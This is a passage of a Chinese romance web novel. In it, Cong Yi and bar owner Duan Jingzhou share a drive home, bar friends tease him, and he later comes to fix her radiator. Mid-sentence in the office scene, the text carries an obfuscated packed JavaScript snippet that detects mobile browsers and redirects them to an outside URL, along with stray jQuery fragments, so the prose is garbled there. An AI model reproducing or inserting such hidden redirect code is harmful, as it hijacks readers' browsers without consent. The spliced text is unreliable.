情绪愣是被挑上头,丢了句话后,段竞洲视线扫过桌台,想也没想地端过入眼可见的被杯子仰头就要灌。 丛宜的脑袋紧紧跟随着他的动作移动,视线触及到贴在他嘴边的杯口,忽地半站起身,眼疾手快地伸手拦住段竞洲端着杯子的右手,“等等。” 温软发热的手掌心贴到骨感分明的手背上,段竞洲心猛地一跳,呼吸迟滞,深暗的眼底满是丛宜放大的五官。 丛宜捏着杯子不松手,皱眉提醒:“这是我喝过的那杯酒。” 刚才她喝了几口,要不然现在这个动作可能就洒出来了,丛宜暗自庆幸。 段竞洲嗓子发干,究不明白是被气得还是荷尔蒙涌动产生的燥热,整个人被硬控得一动也不动。 操了,不就误摸个小手,整得跟一纯情毛小子似的,不争气的玩意儿。 段竞洲心底暗自唾弃完,端杯子的手卸力,对着丛宜说:“知道了,你起来说话。” 丛宜这才安心地回到自己的座位上。 桌面上还有反扣杯口的空杯子,段竞洲连着倒了两杯凉白开灌。 男性和女性突出的生理差别之一在于有没有喉结,段竞洲的脖颈修长,喉结凸出,喝水的时候下颌线会自然收紧,仰头吞咽时那一处肌肤的起伏格外明显,干脆又带着莫名的张力。 丛宜的目光被吸引过去,虽说盯着人喝水并没有什么合适的理由,但人总是会被美的事物而吸引,因此,她并不打算收敛,就这么看着他把两杯水喝空。 最后一口水下肚,段竞洲放下杯子意识到丛宜正看着他,压了压眼皮,丢出疑惑的眼神。 丛宜见状很轻地偏了下头,水润的大眼睛里满是澄澈,同样表达出困惑的意思。 段竞洲没辙,心下失笑,晃了下杯子问出口:“你也要喝?” 丛宜抿了抿唇,而后点头。 她觉得很奇怪,段竞洲没喝水之前她并没有任何口渴的感觉,现在居然真的会觉得口干。 脑海里突然冒出来一个词,秀色可餐。 难怪会有很多的人喜欢看网络上的吃播,发出“眼泪从嘴里流出来”这样不符合人体构造的评论,丛宜现在理解了。 段竞洲换了个杯子,倒水递给她。 “谢谢。”丛宜双手捧着,很给面子地喝得只剩下三分之一,没忘记回应段竞洲先前的话,接上后承认: “你说得对,我确实不应该把你和赵组长放一起比较,你们本来就是很不一样的。” “知道就行。”段竞洲语调颇有种傲娇的架势。 前脚刚提过赵组长会骂同事记忆如猪,转头就拿他跟这位比较,段竞洲不敢自诩是菩萨心肠的十足好人,但也不至于跟这种人比…… 丛宜见他脸色缓和,又问:“你现在是已经完全冷静下来了吗?” 段竞洲“嗯”了一声,语气漫不经心:“好着呢。” 至少冒出来那点火气儿是降没了。 “那就好。”丛宜眸子浸着软意,唇角露出笑痕:“其实我没有哄人的经验,如果你生气了,我还要思考怎么哄你。” 段竞洲刚平复的心脏又乱节奏地跳动了起来,嘴里要是含水估计这会儿都能给自己呛死。 “你说,你要哄我?” “嗯。”丛宜点头,“是我的缘故,你才会产生生气的情绪,我有责任。” 责任心还挺强。 段竞洲心下失笑,深吸了口气,颇有兴致地“刁难”道:“我听听,你打算怎么哄?” 丛宜小脸上顿时露出愁容,温吞又诚实:“我暂时没有想好,不过,我应该会说‘你不要生气了’,这是最直接有力的一句话。” 段竞洲一言不发。 成,他就不应该抱有期待,这话不是哄人,这 话是干巴巴地给火上浇了桶热油,越烧越旺,可不有力么。 “以前没哄过以后也不用哄。”段竞洲没说得太直接。 丛宜这次没认同地应声,默默坚持自己的想法。 实际上是需要的,成年人很多失控时刻也需要适当的情绪安抚,哄就是方式之一,不过她的确不擅长这一项,需要继续学习。 两人话语间,时间不知不觉流动,段竞洲看了眼手机,十点半,对他来说还早,丛宜正常作息这个点已经不算早了。 “走吧,送你回家。”他站起来。 丛宜边穿羽绒服边问:“你要送我吗?” “不然让你自己回?”段竞洲回答。 丛宜言之凿凿:“我自己能回去的。” “十点半地铁已经停运了。” 四舍五入罢了,临近十一点还有地铁嗡隆隆拉磨呢。 “我可以打车。” “不安全。” “很安全的。”丛宜反驳,她遇到的当地出租车和网约车司机都很不错,很多都在车上跟她热络地聊天。 段竞洲还没心大到让一个二十多岁小姑娘来店里找自己再让人大半夜打车回家,没打算让步: “你要是觉得耽误我工作就没必要,我今天下班了。” 自己给自己下班,老板说一不二倒也没毛病。 丛宜此时穿好了衣服,双肩包也背上了,穿戴整齐地站着,“不是这个原因。” “那是什么?”段竞洲不解。 丛宜想了想,认真回答:“今天因为骗子的事让你有一阵不高兴,我应该怀着愧疚的心理,所以我不能坦然地接受你的好意。” 段竞洲皱眉,没想到竟会是这个别出心裁的理由,还较真这事儿呢。 缄默了半分钟,尽可能地顺着丛宜的思考逻辑,段竞洲格外有耐心地张唇反问:“我现在是在向你施加我的好意,可是你拒绝了,你认为这会对我的情绪造成什么影响。” 丛宜怔了下,目光放空,脸上涌现出专注和沉静。 好意被拒绝后的情绪? 这个问题的答案在她看来是失落和心凉,同样是很负面的。 像是下了某种决定,丛宜没回答,而是走到了段竞洲的身边,仰头看他:“我们走吧。” 意料之中。 段竞洲眉骨一动,藏着笑意:“嗯。” 两人一起出去,路过吧台的时候,高天和米兰笑容诡异地目送,一个劲儿地递眼色。 丛宜不明所以地跟他们挥手说再见,出了门才问:“他们为什么要那样笑?” 一种在她看来很难以描述和形容的笑容。 段竞洲懒声道:“不是眼睛抽筋儿就是嘴中风了,不用理会。” “哦。” - 段竞洲这人的品味如一,穿搭喜欢allbck,车一样,路虎卫士110全黑配色,实用和颜值都在线,是去年提的新车。 他这几年经营酒吧,稳定之后慢慢存下不少积蓄,他这人也不挥霍,钱够花就行。 至于车,不少男生视为大玩具对其有着很强烈的兴趣,完全可以理解,段竞洲没什么兴趣,主要就是考虑代步实用,雪天好跑。 丛宜对车不了解,只觉得他这辆车看起来很帅,像是蛰伏在雪原上的猛兽,野性十足。 晚间的风依旧冷冽,站一会儿都让人直吸鼻子。 车锁开了后,段竞洲直接拉开副驾驶的车门示意她上车。 丛宜想起什么,脸上染上犹豫,偏头正对着段竞洲,听起来很没厘头地问: “你有女朋友吗?” 11.美貌诱惑11 这么突然? 段竞洲挑眉,眸光落定她脸上,“这个问题很重要?” “很重要。”丛宜回答。 段竞洲单手压在车门边,指尖轻点,说了句:“有女朋友就不能送你回家了?” 丛宜的道德准则给出答案:“不是的,只是我不方便坐你车的副驾驶。” 这是她从岚姐那儿学来的。 之前有一次下大雨,宋知岚没开车,下班后有个异性同事热心地送她们两个,宋知岚拉着丛宜坐后座,打趣的语气对那位同事说出“副驾驶可是留给未来女朋友的位置,只能麻烦你当下我俩的司机了”这句话的。 段竞洲听明白了,男女朋友之间似乎是有这么个不成文的原则,他这人在这种事情上比较随便,挺意外她还知道这个。 “上去坐,我没女朋友。” 丛宜认为他不会说谎,于是放心地爬上了车。 系好安全带,把双肩包抱在胸前,规规矩矩地坐着,很自然地等着段竞洲把车门关上。 车的内饰同样以黑色为主,硬核的机能风,座椅很舒服,是偏硬挺的,腰背支撑力很强。 加上越野风整体高度会高一些,丛宜很喜欢这种视野开阔的感觉,虽然她并没有开过车,但能看清楚前面的路况会有种命运掌握在自己手里的错觉安全感。 车门发出低闷的砰声,段竞洲系了安全带发动车辆。 平稳地行驶了五分钟,车内一点动静都没有,丛宜过分安静,一声不吭。 段竞洲瞟了一眼,发现她正直直地目视前方,那架势比他一个开车的人都专注。 “怎么不说话?” 丛宜抽空回答他:“我担心会打扰你。” 坐出租车或网约车,因为是职业性老司机多,丛宜不是很担心说话会分散注意力,段竞洲不是职业,她会合理地在意安全性。 段竞洲语气平平地说出自信的话:“不用紧张,我车技很好。” “好。”旁边人嘴上听话应下,实则动作一点没变,依旧严阵以待。 段竞洲气音轻笑,紧接着慢条斯理,“情绪可是会感染的。” 丛宜当下没反应过来,看向他的眼神茫然无解。 察觉到她的视线,段竞洲边打方向盘,边说:“你这么紧张,万一把这情绪传递给我,就不怕我刹车当油门带着你跟前面那辆车亲个嘴儿?” 话音一落,丛宜格外迅速地后背往后靠,肩膀随着动作刻意地松弛下来,补救性地嘟囔:“口出无心。” 模样生怕有一语成谶的可能性。 段竞洲唇角微抬,没说话。 舒缓的车载音乐播放着,两人之间的气氛很是和谐。 “你真的没有女朋友吗?”丛宜冷不丁地再次向他确认。 “我糊弄你有什么好处?” 他犯不上整虚的。 丛宜又开始好奇别的问题,想什么说什么,不懂迂回,脱口而出问:“那你为什么会没有女朋友?” 这什么话…… 段竞洲淡淡撇眉出声:“我一定要有女朋友?” “不是一定。”丛宜也察觉自己表达有误,挽救道:“只是觉得你应该会有。” “怎么得来的错觉?” “很显而易见的,因为你比较帅。” 前面的车过完闪烁的黄灯,红灯亮起,段竞洲忽地踩了刹车,不算猛烈,但给丛宜一阵不容忽略的推背感。 段竞洲得空扭头盯着她的脸上,企图从这晦暗的车厢里观察丛宜的脸红没红,怎么就能这么坦然地当他面夸他帅? 丛宜见状,虽然不知道他为什么一直盯着自己,但还是迎上了审视的目光,大大方方地让他看。 两人交互眼神的时候不是没有过,但这还是认识以来,段竞洲第一次这么仔细且不收敛地打量丛宜那张脸。 审美意义上而言,丛宜的脸蛋很漂亮,流畅又略带圆润的鹅蛋轮廓,鼻梁高挺秀气,唇瓣饱满颜色粉嫩,那双澄澈的大眼睛是一下就能夺去人注意的鲜活,肌肤细腻白净,完全称得上美貌。 在酒吧工作,段竞洲见过的美女不少,但丛宜给人的感觉不一样,性格的缘故,她说话时天然透着娇憨和专注,很轻易就让人不自觉地关注,从而顺着她的逻辑进入她的世界。 稍不设防间,就会被她的话吸引住,就像现在这样。 后身的车辆按了提醒的喇叭,段竞洲意识回笼,才发现已经转成了绿灯。 重新启动车辆,段竞洲眼睫微敛,神色恢复如常,接上先前的话,“谁说帅就有女朋友,两者有必要的关联么。” “当然有。”丛宜翻出自己了解的一套认知理论,侃侃而谈: “人们的本能偏好高颜值,高颜值代表基因优秀,这本身就是优质的择偶信号。在吸引异性靠近的基础上,如果在相处中其它方面也合适,成为男女朋友是很顺理成章的结果,进化心理学中也是这样解释的。” “你大学学的是心理学?” 段竞洲发现她总是喜欢用固定和规整的言语来表达,秩序感和理论性都很强。 丛宜摇了摇头:“我学的是能源与动力,但这并不妨碍我了解过心理学。” 心理学属于理学,强调思维逻辑、因果归因和实验推理,在一定程度上和大多数的工科专业存在互通之处,丛宜自认为了解起来并不算吃力。 段竞洲的手指随着车内音乐的节奏慵懒在方向盘上一下一下地轻敲,从容地应声: “你说的是理性的结论,谈恋爱的最重要前提是感性的喜欢和兴趣,我对找女朋友这件事没有兴趣,因此,你的结论从源头上就不成立。” 丛宜有些愣住了,身体定住,眼里满是认知错误后的冲击和茫然。 似乎一直在消化他的话,默不作声,几分钟领会过后,眼神瞬间涌上来兴奋,盈亮有光,不吝啬地给出夸赞:“好厉害!你说得是对的。” 虽然结论被推翻了,但有瑕疵的结论本来就需要修正才能成立,丛宜欣然地接受改正。 段竞洲表情平和,眼睛眯了眯,藏住眸底一闪而过的快意,“人之常理。” 开到后半段,丛宜胸腔有些闷,淡淡的不适感袭来,她咽了咽嗓子,熟练地从口袋里掏出来一颗糖,剥开塞进嘴里。 甜意在口腔里瞬间散开,明显压下去反胃的感觉。 没忘还有别的人在,丛宜几乎是下意识地就又拿了一颗友好地递过去:“你要吃吗?” 刚伸出手没几秒,想起来什么,又缩了回去,“哦,你不爱吃糖。” 第一次见面时他说过的。 问的是段竞洲,段竞洲却是一句话没说。 他心下失笑,没在意,随口猜测:“晕车?” “嗯。”丛宜诚实回答:“不过只有一点点难受,坐在前面会比后面好很多。” 这个夜间气温开窗户通风不合适,段竞洲让她往后贴着座椅,不要乱晃脑袋。 丛宜照做,接着轻声地开口:“我妈妈说是因为我小时候过早站立和走路,平衡系统不牢固长大才会有晕车的症状。” “在我们这儿的说法是脑袋轻,压不住晃悠。”段竞洲随口调侃。 丛宜听完,皱了皱眉,当真了,试探性地小幅度动了下头感受。 诶?可她的脑袋好像并不是很轻。 余光瞥见她的动作,左后视镜明亮的镜面里映出某人疏淡的眉眼,以及微不可察上扬的唇角。 黑色的越野一直开到小区楼下,丛宜打开车门下车,刚绕过车头就看见段竞洲也跟着下来了。 兴许是联想到他对送自己回家这件事的安全程度,丛宜先开了口:“你要送我上去吗?” 完全没有这个意思的段竞洲迟滞一瞬,接着捏着手机递给她:“你的手机,拿好了。” 丛宜摸了下空的口袋,发懵,什么时候掉出去了呢,都没意识到。 他果然比较细心。 接过来手机,丛宜重复了一遍刚才没得到答案的问题。 “你很希望我送你上去?” 段竞洲不懂她怎么对送她上楼这件事这么执着,明明在酒吧还不情愿让他送回家。 “本来是不用的。”丛宜解释:“但现在我想起来有东西要给你。” 上次感谢送他几颗糖,这次难不成还是为了表达感谢? 段竞洲不是个不会拒绝的人,何况只是举手之劳,完全没必要感谢,只是对象是丛宜,他便很难说出拒绝的话去打破她的思维体系。 “走吧。”他抬脚先上了楼梯。 丛宜立马紧随其后。 走到她住的这一楼层,周围暗了许多,楼梯灯依旧坏着,小区老旧,物业工作人员大多也都是懒得管事的大爷,丛宜每次回家都会提前打开手机手电,这次也不例外。 拿着钥匙开门,丛宜发挥主人的身份,问他:“你要进来吗?” 上次进她家是意外,情有可原,这会儿再进去没理由,边界感使然,段竞洲没应下,“不了,我在外面就行。” “好,那你等我。”丛宜也不勉强,叮嘱完匆匆进了屋子。 没过多久,段竞洲见她手里拿了张白色的纸出来。 “这个给你。” 那张纸到了段竞洲的手里,他摊平仔细看,上面画了个海豚,也就是他捡到的那个挂件模样。 “什么意思?” 丛宜回答:“我说过我们很有缘分,可是缘分是会淡的,我讨厌这种小概率缘分被淡化,我把它送给你,是对你捡到我挂件的回馈。” 就像她对待温情善意一样,她总是希望能够双方都能记得,任何东西都是要被记得才能长久,丛宜潜意识里抗拒一切失去。 纠结第二次见面是否记得她、挂件牵连出来的莫名缘分,段竞洲隐约从她的话听出来了什么,平静地把这张简易的画收了起来,拿在手里示意: “留着了。” “嗯。”丛宜重重地点了点头。 “还有事吗?”段竞洲问。 丛宜瞳仁清亮,顿了顿,说:“谢谢你,今天晚上我很开心。” 谢谢这两个字听得耳朵起茧,她似乎格外喜欢这样表达。 段竞洲唇角微勾,不疾不徐地回应:“知道了。” 12.月老红线12 “你知道什么了就知道,少跟着高天瞎打听。”段竞洲在吧台翻着酒单,淡淡地回怼米兰的好奇心。 身为“北沨”的老板,他晚上绝大多数的时间都是在店里度过,时不时地忙这忙那时间就过去了。 送完丛宜折回店里,跟米兰简单地对接了吧台的货料情况,巡场接待几个老熟客,都是些平常的工作,忙完段竞洲就回卡座了。 高天这会儿正没个正形地躺在沙发上刷手机,随意得就跟在自己店似的,脚底板猝不及防被狠踹了一脚,条件反射地直往后缩腿。 “脚。”段竞洲嫌弃道。 “注意着呢,没弄脏你沙发。” 讲究…… 高天嘴上辩解,腿到底是放下去了,老实地坐起来后侧目打量段竞洲,“把人送回家了?” 段竞洲没回答,坐到了斜对面的单人沙发上。 高天揶揄他:“你怎么突然就乐意当骑士了?” “送个女孩儿回家就是骑士了?” 段竞洲眼皮下耷:“大马路上跑那么多代驾跟滴滴司机都是骑士了呗。” 高天被一句话噎够呛,嘴唇抿了又抿,要说他嘴也不算笨,但这么多年,两人就说话这个劲儿他就没在段竞洲面前占过上风。 懒得兜弯子,直接问他:“都是兄弟有什么藏着掖着的,你跟我说说你跟人家怎么认识的。” 段竞洲懒散地靠在沙发上,闻声掀起眼皮看他,“我需要向你汇报?” 艹,这话听着那么耳熟呢。 高天回忆起来,低骂:“你这话说得跟那姑娘一样。” 段竞洲锁眉:“什么?” 高天三两句还原了进店那会他问丛宜找段竞洲什么事的场景,那姑娘基本也就这么回答他的,两人还真就一个样儿。 段竞洲听完鼻间哼出笑意的气音。 倒像是她会说的话,依旧有礼貌的我行我素。 高天没放过他微动的表情,恨不得自己就是福尔摩斯,信誓旦旦:“没跑了,你俩这绝对有关系。” “能有什么关系。”语调间满是松弛。 “当然是男女之间那种关系。” 话丢出来,段竞洲才舍得再分出眼神给他,就是太像看傻子,“把你手机打开。” “拿手机?” 高天一头雾水地嘟囔,但照做。 段竞洲扬了扬下巴继续下指令:“点开相机前置摄像头。” 高天脸怼上去左右照,自我欣赏,“瞅啥,这不挺像样儿的。” “你看你那眼神是月老红线么。”段竞洲一本正经。 还真把自己当月老了,眼睛一瞪上下嘴皮子一碰就开始扯线拉弦儿了。 靠,又被耍了。 高天抄起桌上的空杯子朝他身边扔,刻意估摸着角度倒不真虎了吧唧地砸到人。 杯子没落地,到半空被人顺手迅捷地接了下来。 “闹什么。” 来人身形出挑,背脊格外挺直,两侧略短顶发整齐,干净利落,黑色短袖下裸露的臂膀鼓胀,手里拎着羽绒服,眉眼间冷硬,典型不好惹的形象。 段竞洲语气熟稔:“来了。” 高天见状,食指和中指并拢贴在额头上打招呼:“阿sir!” “嗯,不用行礼。”卫砚给面子地回应。 “喝什么?”段竞洲问他。 卫砚摆了摆手:“明儿还得上班。” 高天插话:“你可有一阵子没来了。” “忙案子,今天刚结案。” 几个人职业不同,高天有个健身房,段竞洲开酒吧,卫砚是实打实地吃公家粮,正儿八经警校公安毕业后在基层干了两年,因为表现狠厉突出被刑侦支队调走干了刑警,年轻正是磨的时候,碰上案子基本是忙得脚不沾地。 借着点儿光,段竞洲扫了眼他眼下淡淡的青色,出声点破:“有休息时间就在家歇着,别有事没事往北京跑。” “不是,你又去北京了啊?”高天语调抬高。 卫砚眸子染上墨色,没出声。 高天是个心直口快的,一提到这一茬就打抱不平: “不是我说兄弟,这都多少年了还不死心,一个被窝里睡几年,大学一毕业人家招呼不打跑北京销声匿迹,都甩你了,你还惦记什么。” 卫砚眉头皱起,看起来不大乐意听这话,烦躁吐话:“那不也睡了几年。” “咋地,睡几年是给你枕边吹迷魂风了,死磕上了还,你真是没救了。” “滚蛋。” 高天连连啧舌,“要真找到那位,你打算怎么着?” “还能怎么着。”卫砚视线偏移半寸,眸底深暗,压低的声线听着让人格外震颤:“绑回来,锁家里。” “真不是个东西。” 高天强烈谴责他:“自己还是人民警察呢,哪天你真要干这种违法乱纪的事儿,我第一个站出来送你去喝茶。” 卫砚不咸不淡地说:“行啊,回头别忘了让陈局给你颁个热心市民荣誉证书。” 话说得吊儿郎当,听不出真假。 段竞洲视线落到他身上,点到为止:“别太勉强自己。” “我有分寸。” 卫砚不再继续这个话题,转而问段竞洲:“书艺那丫头最近找你了吗?” “没。” 自从上次来酒吧堵他一次被卫砚电话压制后,这几天都消停了不少。 说来冯书艺虽是大小姐脾气,但惧怕卫砚,兴许是血脉压制,又或者是他脾气本来就不好,让人不大敢挑衅。 卫砚没有当“红娘”的兴趣,即便是自家表妹跟兄弟,不扯什么亲上加亲,不喜欢就是不喜欢,他不撮合感情上的事。 “那就行。” 一旁的高天见缝插针,两个手臂抬高抄到脑后边往后仰躺边长“诶”一声:“说不定马上也就孔雀开屏了。” 卫砚多聪明一人,眼皮一抬:“有喜欢的人了?” “没。”段竞洲慢慢悠悠否认:“他胡扯的,能被利用耍得团团转还以为遇到真爱当初恋的人,你信他?” 这话可是碰到高天敏感肌了,他脸色一变,腾地站起来拿杯子往段竞洲嘴边凑,急吼吼道: “打住啊,别揭我短,陈芝麻烂谷子的破事儿我早忘得溜儿干净。” “忘了还急什么?” 高天脸被憋得涨红,不敢回想,一回想就丢面儿地没脸见人,那可关乎他的尊严! 三人里要算,只有段竞洲没谈过恋爱。 说句实在话,当年看见自家兄弟单方面被甩表面不显情绪,实际上为情所困,给自己折磨得不像人样。 多少对段竞洲有点儿影响,没谈恋爱的意向一方面是这个,另一方面这么多年也确实没遇到喜欢的,自己过着还乐得自在。 至少直到现在,他依旧是这个想法,否则也不会身边出现个丛宜,就能让高天大惊小怪刨根问底了。 “阿嚏!” 研究所办公室里,丛宜鼻翼轻轻翕动,细碎的喷嚏声猝不及防地从鼻尖溢出来。 “这是谁正想你呢。”宋知岚手从电脑上移开,抽了两张纸递给她,边笑着打趣。 丛宜隔着纸巾揉了揉发痒的鼻子,顺着玩笑话认真回答:“可能是我妈妈。” “阿姨在上海这会儿正惦记着自家宝贝女儿今天衣服有没有穿厚。” 宋知岚话音刚落,丛宜纸巾捂着鼻子,接连又打了两个闷闷的喷嚏,眼眶骤然潮润。 “真着凉了啊?”宋知岚急忙从办公椅上直起腰,开始翻工位的抽屉,“吃药了吗?” “还没有。”丛宜摇了摇头,她自己还没察觉到明显的不舒服。 一通翻箱倒柜下来,也没找到药,宋知岚身体抗造,办公室自然也不常备药,“等会儿的,我问问他们有没有。” 丛宜觉得不用大动干戈,她可以下班之后去药店买。 刚想开口阻拦,被正巧路过的同事问了一嘴:“是要感冒药吗?” 丛宜仰头看来人,站姿清隽温润,穿了件灰白亚麻衬衫,领子处露出叠穿的白色内搭,半黑半银框镜后温和的眼睛正看向她。 办公室同事不少,丛宜来研究所时间短,再加上性格使然,除了宋知岚跟其他人多是工作淡交,最多也就跟上次一样心情好会融入两三个女同事的闲聊。 不过眼前的人她还算印象深,因为先前那次下雨,就是他开车主动送岚姐和她回家的。 不等丛宜出声,宋知岚替她应答:“对,感冒药,你那儿有吗?” “有。”周景返回工位,没一会儿拿了盒药回来,递给丛宜,“喝这个吧。” 丛宜眨了下眼,试图散开眼眶里的氤氲,接过来,“谢谢。” “要热水吗?”周景问。 “我杯子里还有。” “好。” 周景离开后,宋知岚目送他背影:“靠谱,咱所里少见的中看又中用的男人。” 接着催丛宜赶紧喝药。 药盒没被拆封过,看起来是新的,丛宜抽了一小包冲泡。 宋知岚扫了眼她身上的厚毛衣,嘀咕:“穿得也不少,还给自己造感冒了。” “是我家客厅的暖气出故障了。”丛宜慢腾腾解释。 昨天家里的体感温度低了些,她摸了暖气片一半热一半凉,给物业反馈后到今天还没修。 宋知岚了解完情况让她直接给房东打电话,一般而言,这种事情房东有责任维修。 丛宜隐约记起来租房合同里好像有提,于是便没了麻烦房东的心理负担。 她给褚阿姨打完电话,那边了解情况后很爽快问她的空闲时间,说找人去修。 丛宜周中下班时间并不固定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17696164|206633||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,而且没两天也就周六了,索性时间约定在了周六。 宋知岚邀请她这两天去她家里住,丛宜拒绝了。 宋知岚一直是跟爸妈一起住的,虽然她的确很想见一见喜欢跟年轻人滑冰不服老的宋叔叔,但丛宜觉得,宋叔叔应该不会想让太多人知道他闪到腰的囧事。 所谓的自尊防御心理就是这样的。 喝了周景给的药,丛宜下午打喷嚏的频次都减少了很多,忙完工作,她本来打算再正式地表达下感谢,不过她没在办公室里看到他,猜测应该是下班了。 丛宜在回家的地铁上拿手机翻了翻工作大群,在备注名字的提示下给周景发了条加好友的请求。 几乎是前脚刚发过去,后脚好友申请就通过了,前后不足一分钟。 丛宜捧着手机思考,周景是很喜欢网上冲浪吗?所以才能一下就看到她的消息。 她编辑了一条信息过去。 【我是丛宜。】 对方依旧秒回。 【我知道,好友申请你备注过了。】 家门报完,丛宜单刀直入表明来意,给对方转了三十块钱过去。 【今天谢谢你的药。】 两条消息发送完毕,聊天界面保持了得有三分钟的静滞。 丛宜再次检查了一遍,确定消息是发送成功了,可是对方为什么不回复她了? 又过了几分钟,她还是没等到,索性编辑了条新消息。 【你看见记得把钱收下,我没有别的事情了。】 言外之意,不用回复她了。 丛宜认为,这是很礼貌不打扰的结束方式。 只是,这条消息之后,周景又奇怪地马上回复她了。 【都是同事,试试不跟我这么见外好吗?】 后面还跟了个‘摸摸头’的表情包。 丛宜睫毛扑闪又扑闪,一时间没懂是什么意思。 她很努力地把人际关系简单化,但事与愿违,总会有她不太会处理的事情,比如眼下的“人情”。 因为跟周景的关系并不算熟,就连上次巧合搭他的车两人都没怎么说话,所以借了他的药,如果不表示丛宜会认为自己占了便宜,等价还回去,对方又觉得见外。 而且她不知道这个表情包背后的含义,而只有在明白之后她才能清楚自己应该回复他什么。 丛宜很头疼。 地铁平稳地行驶着,丛宜切换了页面,把自己的疑问输入到了某交流软件的搜索框里,去找她她不认识的聪明互联网“朋友”求助。 “他们”给出的答案是顺手买点等价的饮料或者零食,然后顺其自然地给对方,至于发表情包的意思就是普通同事之间的暖心安慰或友善交流。 丛宜唇角弯了弯,她本来还想着如果周景不收转账,要不要明天买一盒一模一样的感冒药还给他呢,眼下却得到了心满意足的回答。 【好的,我知道了。】 应完,丛宜学着对方的回复,不熟练地找了个差不多意思的表情包,得意洋洋地发了出去。 按部就班地上完两天班,周五晚上丛宜喜欢的动漫多更新了一集,她理所当然地认为这是对她上完一周班的奖励,于是贪心地熬了夜,第二天九点才醒过来,睡梦中隐约听见楼道有动静,但不影响睡眠。 洗漱收拾一通,已经九点半了。 从冰箱里翻出来面包片,叼着咬了一口的时候,还没有被人按过的门铃响了一阵。 丛宜反应了两秒,意识到这是她新换的智能门锁发出的声音,不好意思让褚阿姨找的修理师傅多等,趿拉着拖鞋小跑去玄关处。 门打开的一刻,丛宜的头先露出来,于是门缝处入眼的是穿着黑色长裤的超绝比例长腿。 外貌已经卷到修理行业了吗?现在的修理师傅外形很优质。 丛宜脑子里不合时宜地冒出来这个想法。 等到门彻底大开,视线触及完整人脸,大脑的丘脑接收画面,辨别的动作也迅速完成。 门外的人可不就是一周前见过的段竞洲。 熟人见熟人,面包堵双唇。 咀嚼的腮帮子停止蠕动,丛宜瞳孔聚焦在对方脸上,不加掩饰地露出意外,身体微微前倾,伸手把唇边还挂着的面包片拿了下来,主动开口: “我们又见面了,你是又走错门了吗?” 段竞洲目光如炬,先是开合的嘴唇,而后扫过面前这张满是疑问的小脸,最后落到她的眼睛上,淡淡道: “我看起来很蠢?” “我可没有这么说的。”丛宜赶紧摆了摆手辩解。 既然没走错门,那就是走对了,所以…… 早晨的大脑因为夜间脑脊液的清理和皮质醇稳步上升,此刻尤其活跃。 丛宜眸子弯了弯,十分有满分的语气认定: “那你是专门来找我的。” 13.耳朵着火13 话语间,丛宜脸上的表情生动透着可见的愉悦,极大概率是为自己猜到正确答案而雀跃,来自多巴胺的即时奖赏。 早起不爽的情绪莫名缓释,段竞洲眉头舒展,“猜对我这儿可没有奖励。” 丛宜揣摩这句话,而后歪头质疑:“你在把我当幼儿园的儿童?” 幼儿园时期的孩子物质激励敏感度最高,认知里答对问题等于得到奖励,丛宜觉得此刻的情景很像是这样。 “有么?”段竞洲一本正经装糊涂。 丛宜盯着他点头:“有。” “你理解错了。” 是她错了吗? 一来一回,段竞洲忽略丛宜微动的嘴唇,淡定地转移话题:“不请我进去吗?” 两人这会儿正一个杵在门外,一个守着门,旁人看见八成会以为是送外卖的。 丛宜闻声而动,侧了身体给他让路。 从室外的雪地走过来,室内温度升高积雪化开,明显会淌出湿漉漉的水印。 “有一次性拖鞋吗?”段竞洲问。 “没有。”丛宜补充:“但有新的拖鞋。” 当时超市断码促销家居鞋,她站在售卖区听着阿姨一顿推销,兴许是为阿姨的口舌买单,考虑后就多买了双比自己脚大的。 “多少码?” “应该是40码的。” 还挺有实力,给自己买了艘船。 段竞洲收回想法,淡淡瞥了眼自己四五大脚,来了句:“刚进门就打算给我穿小鞋?” 丛宜没懂谐音梗,问他:“那你要穿吗?” “你觉得我能穿得上么。” 丛宜还真去低头观察段竞洲的脚长,跟她的脚比这已经算是逆天大脚了。 基因果然很偏爱他,除了那张脸,骨骼发育也这么好,身高是这样,脚也是。 只是好像的确是穿不上,丛宜面露难色。 然后直接道:“你可以不穿鞋进来。” 段竞洲多看了眼还算干净的地板,索性也就脱了鞋。 等人走进去,丛宜才后知后觉地问他来家里的原因。 段竞洲随意地晃了晃手里的工具箱以及看不出装的是什么的手提纸盒,“不是说客厅的暖气片出问题了吗,来给你解决问题。” 他是两天前接到褚女士的电话“派单”任务,让他来修租客的暖气片。 褚女士听丛宜的描述就知道不是大问题,段竞洲先前处理过家里暖气片的类似毛病,于是自然就把这事儿交给他了,说什么之前他闯人家家里这事儿闹得不好,借此让他再给丛宜道个歉。 段竞洲懒得跟他妈掰扯,否则只会不眠不休,索性老实地提着工具箱就来了。 听见他的回答,丛宜自然地发出疑问:“你会修暖气?” “勉强能凑合。” 段竞洲话没说太满,难得含蓄。 落在丛宜的耳朵里就变成了“水平一般,能不能修好不一定”。 人之常理的反应告诉丛宜,她现在应该给予段竞洲一定的理解也可以说是容错空间,以及必要的鼓励。 若有所思之后,话到嘴边丛宜脱口而出:“我觉得你应该可以修好,不过如果实在修不好也是没关系的,毕竟你不是专业的维修工。” 很擅长维修的话,那其他的维修师傅就会少赚一点钱了,将维修当作糊口工作,丛宜还是希望他们可以多多赚钱。 话语落地,段竞洲眼睛眯了眯,直刺刺地盯着她的唇部。 丛宜不明所以,直觉他此刻的目光有些不善,有种绷紧的弹弓蓄势待发,马上要把弹丸直直地痛击她脸上的既视感。 可,她明明说的是好话。 还是说她吃了面包,嘴上沾上了面包屑? 丛宜刚要伸手试探性地擦唇,就听见段竞洲开口说话了,语调淡淡问她:“吃罐头吗?” “什么?”她一时间没从上一个语境中跳跃出来。 段竞洲把手里的工具箱放下,另外的纸盒放在了客厅的桌面上,从里面拿出来了两个玻璃瓶子, “我妈做的,让我带过来给你。” 干净透亮的玻璃瓶里,金黄的黄桃浸在糖水中,仔细看还能发现黄桃的果肉纤维正一飘一浮。 